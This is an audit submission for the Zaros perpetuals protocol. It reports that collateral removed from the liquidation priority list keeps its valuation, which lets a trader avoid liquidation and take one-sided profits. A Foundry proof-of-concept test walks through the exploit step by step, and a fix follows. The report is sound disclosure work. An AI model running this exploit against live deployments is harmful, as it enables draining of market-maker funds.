DeFiFoundry
60,000 USDC
View results
Submission Details
Severity: low
Valid

Failure to Update Collateral Valuation Upon Removal from Liquidation Queue Enables Risk-Free Arbitrage

Relevant GitHub Links

System variables used to track collateral information:

https://github.com/Cyfrin/2024-07-zaros/blob/d687fe96bb7ace8652778797052a38763fbcbb1b/src/perpetuals/leaves/GlobalConfiguration.sol#L51

https://github.com/Cyfrin/2024-07-zaros/blob/d687fe96bb7ace8652778797052a38763fbcbb1b/src/perpetuals/leaves/MarginCollateralConfiguration.sol#L26

https://github.com/Cyfrin/2024-07-zaros/blob/d687fe96bb7ace8652778797052a38763fbcbb1b/src/perpetuals/leaves/TradingAccount.sol#L51

Relevant functions:

https://github.com/Cyfrin/2024-07-zaros/blob/d687fe96bb7ace8652778797052a38763fbcbb1b/src/perpetuals/leaves/TradingAccount.sol#L178

https://github.com/Cyfrin/2024-07-zaros/blob/d687fe96bb7ace8652778797052a38763fbcbb1b/src/perpetuals/leaves/TradingAccount.sol#L471

https://github.com/Cyfrin/2024-07-zaros/blob/d687fe96bb7ace8652778797052a38763fbcbb1b/src/perpetuals/leaves/TradingAccount.sol#L342

https://github.com/Cyfrin/2024-07-zaros/blob/d687fe96bb7ace8652778797052a38763fbcbb1b/src/perpetuals/leaves/GlobalConfiguration.sol#L119

Summary

When Zaros removes collateral from the liquidation list, it fails to update the valuation information of that collateral in the system, causing these remaining assets to still be considered valuable. Consequently, when evaluating user accounts, these assets participate in liquidation and new order assessments, leading to artificially inflated account values. More critically, since these assets have been removed from the liquidation list, they cannot be liquidated. Attackers can exploit this to consistently profit from their trades before closing positions, repeating this process to achieve risk-free arbitrage, ultimately draining the market maker's funds.

Vulnerability Details

Zaros uses collateralLiquidationPriorityto track collateral validity. Once collateral is removed viaremoveCollateralFromLiquidationPriority(),the system considers it worthless and users can no longerdepositMargin()it. However, the system still usesMarginCollateralConfiguration.Datato track these assets' valuations andmarginCollateralBalanceX18to record collateral assets in user accounts.Both internal removeCollateralFromLiquidationPriority() and external removeCollateralFromLiquidationPriority()functions only remove the asset from the liquidation list without updating the other two information sources.

During liquidation and order placement, the system calculates account value usinggetMarginBalanceUsd()which relies onMarginCollateralConfiguration.DatamarginCollateralBalanceX18. This results in these remaining assets becoming non-liquidatable with false valuations.

Attackers can exploit this non-liquidatable characteristic by leaving only these false assets in their accounts, maximizing leverage, and trading with these funds. They can achieve risk-free arbitrage by closing positions only when profitable. This exploitation can continue indefinitely unless the project team modifies the MarginCollateralConfiguration.Data for the relevant assets

POC

Using USDZ asset as an example:

  1. First, let the attacker complete a trade using USDZ when the market is normal.

  2. Zaros removes USDZ from the liquidation list.

  3. At this point, the attacker can no longer deposit USDZ into the system.

  4. However, the attacker can still use the asset as collateral to complete trades.

  5. Simulate a price drop, causing the attacker's account to meet liquidation conditions (in reality, the attacker only uses 6. USDZ as collateral, so when this asset is removed from the liquidation list, the account should be considered worthless).

  6. Attempt liquidation, but since USDZ has been removed from the list, it cannot be liquidated. The attacker's account valuation remains unchanged.

  7. Simulate a price increase, allowing the attacker to profit, close positions, and successfully withdraw funds.

Place the following test into createMarketOrder.t.sol::CreateMarketOrder_Integration_Test:

import { console } from "forge-std/Test.sol";
import { stdMath } from "forge-std/StdMath.sol";
using SafeCast for uint256;
using stdMath for int256;
function test_WhenTheCollateralRemovedFromLiquidationPriority(
uint256 marketId
)
external
givenTheAccountIdExists
givenTheSenderIsAuthorized
whenTheSizeDeltaIsNotZero
givenThePerpMarketIsEnabled
whenTheSizeDeltaIsGreaterThanTheMinTradeSize
givenThePerpMarketWontReachTheOILimit
givenTheAccountHasNotReachedThePositionsLimit
givenTheAccountWillMeetTheMarginRequirements
{
marketId = 3;
MarketConfig memory fuzzMarketConfig = getFuzzMarketConfig(marketId);
uint256 marginValueUsd = 10000 * 1e18;
deal({ token: address(usdz), to: users.naruto.account, give: marginValueUsd });
uint128 tradingAccountId = createAccountAndDeposit(marginValueUsd, address(usdz));
uint256 first_order_marginValueUsd = marginValueUsd / 10;
bool isLong = true;
openPosition(fuzzMarketConfig, tradingAccountId, fuzzMarketConfig.imr, first_order_marginValueUsd, isLong);
// Check the current situation
(
int256 marginBalanceUsd_firstOrder,
uint256 initialMarginUsd_firstOrder,
uint256 maintenanceMarginUsd_firstOrder,
int256 availableMarginUsd_firstOrder
) = getAccountMarginBreakdownToUint256(address(usdz), tradingAccountId);
changePrank({ msgSender: users.owner.account });
perpsEngine.removeCollateralFromLiquidationPriority(address(usdz));
// Check the account status again
(
int256 marginBalanceUsd_after_remove,
uint256 initialMarginUsd_after_remove,
uint256 maintenanceMarginUsd_after_remove,
int256 availableMarginUsd_after_remove
) = getAccountMarginBreakdownToUint256(address(usdz), tradingAccountId);
// We will find that CollateralRemovedFromLiquidationPriority() doesn't change the value of the account, which is not what we want to see
// This means the system will continue to treat assets we consider worthless as collateral
assert(marginBalanceUsd_after_remove == marginBalanceUsd_firstOrder);
assert(availableMarginUsd_after_remove == availableMarginUsd_firstOrder);
assert(initialMarginUsd_after_remove == initialMarginUsd_firstOrder);
assert(maintenanceMarginUsd_after_remove == maintenanceMarginUsd_firstOrder);
// Try to continue pledging this asset to the system, obviously the system will reject it, again demonstrating that the system does not consider this collateral valuable
// depositMargin() is a public function responsible for checking the validity of collateral
// deposit() is an internal function, assuming depositMargin() has already checked
// So deposit() should not be used in the test, as users cannot call deposit() in the actual environment
changePrank({ msgSender: users.naruto.account });
deal({ token: address(usdz), to: users.naruto.account, give: 100 });
vm.expectRevert({
revertData: abi.encodeWithSelector(Errors.CollateralLiquidationPriorityNotDefined.selector, address(usdz))
});
perpsEngine.depositMargin(tradingAccountId, address(usdz), 1);
perpsEngine.withdrawMargin(tradingAccountId, address(usdz), 1);
// However, the system will allow these assets to continue participating in trades as collateral
// Open the maximum position with the remaining funds
openPosition(fuzzMarketConfig, tradingAccountId, fuzzMarketConfig.imr, uint256(availableMarginUsd_after_remove), isLong);
// Price drops, unable to successfully liquidate
setAccountsAsLiquidatable(fuzzMarketConfig, isLong);
uint128[] memory liquidatableAccountsIds = perpsEngine.checkLiquidatableAccounts(0, 2);
// account is liquidatable
assert(liquidatableAccountsIds[0] == tradingAccountId);
// At this point, it should not be possible to withdraw, as the account is insolvent
UD60x18 marginCollateralBalanceX18 = perpsEngine.exposed_getMarginCollateralBalance(tradingAccountId, address(usdz));
console.log("marginCollateralBalance: ", marginCollateralBalanceX18.intoUint256());
vm.expectRevert();
perpsEngine.withdrawMargin(tradingAccountId, address(usdz), 1);
// Attempt to liquidate
UD60x18 collateralBalance_before_liquidate = perpsEngine.exposed_getMarginCollateralBalance(tradingAccountId, address(usdz));
console.log("collateralBalance_before_liquidate: ", collateralBalance_before_liquidate.unwrap());
changePrank({ msgSender: liquidationKeeper });
perpsEngine.liquidateAccounts(liquidatableAccountsIds);
UD60x18 collateralBalance_after_liquidate = perpsEngine.exposed_getMarginCollateralBalance(tradingAccountId, address(usdz));
// The system cannot liquidate this asset
assert(collateralBalance_before_liquidate == collateralBalance_after_liquidate);
// Price rises, prepare to settle
changePrank({ msgSender: users.owner.account });
updateMockPriceFeed(fuzzMarketConfig.marketId, fuzzMarketConfig.mockUsdPrice * 1.1);
// Close position
changePrank({ msgSender: users.naruto.account });
openPosition(fuzzMarketConfig, tradingAccountId, fuzzMarketConfig.imr, marginValueUsd, !isLong);
UD60x18 collateralBalance_attack = perpsEngine.exposed_getMarginCollateralBalance(tradingAccountId, address(usdz));
console.log("collateralBalance_attack: ", collateralBalance_attack.unwrap());
assert(collateralBalance_attack.unwrap() > (collateralBalance_before_liquidate.unwrap() * 2));
perpsEngine.withdrawMargin(tradingAccountId, address(usdz), marginValueUsd);
// Traders can continue to open positions using these assets...
}
function getAccountMarginBreakdownToUint256(
address collateralType,
uint128 tradingAccountId
) public
returns(
int256 marginBalanceUsd,
uint256 initialMarginUsd,
uint256 maintenanceMarginUsd,
int256 availableMarginUsd
)
{
(
SD59x18 marginBalanceUsdX18,
UD60x18 initialMarginUsdX18,
UD60x18 maintenanceMarginUsdX18,
SD59x18 availableMarginUsdX18
) = perpsEngine.getAccountMarginBreakdown(tradingAccountId);
marginBalanceUsd = marginBalanceUsdX18.intoInt256();
initialMarginUsd = convertUd60x18ToTokenAmount(collateralType, initialMarginUsdX18);
maintenanceMarginUsd = convertUd60x18ToTokenAmount(collateralType, maintenanceMarginUsdX18);
availableMarginUsd = availableMarginUsdX18.intoInt256();
}

Impact

This vulnerability artificially inflates user valuations and allows for continuous risk-free arbitrage until discovered, potentially draining market maker funds.

Typically, projects announce the removal of assets from the liquidation list and provide users time to manage their assets. Attackers could use this window to withdraw other assets and deposit large amounts of the soon-to-be-removed asset into their accounts. More aggressively, attackers could monitor project transactions and execute this strategy just before the removal is implemented.

Tools Used

Manual Review.

Recommendations

Update relevant data structures when removing collateral from the liquidation list:

  • Update MarginCollateralConfiguration.Data.loanToValue to 0

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

removal of collateral types from the liquidation priority list will affect affect the liquidation process of the existing positions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.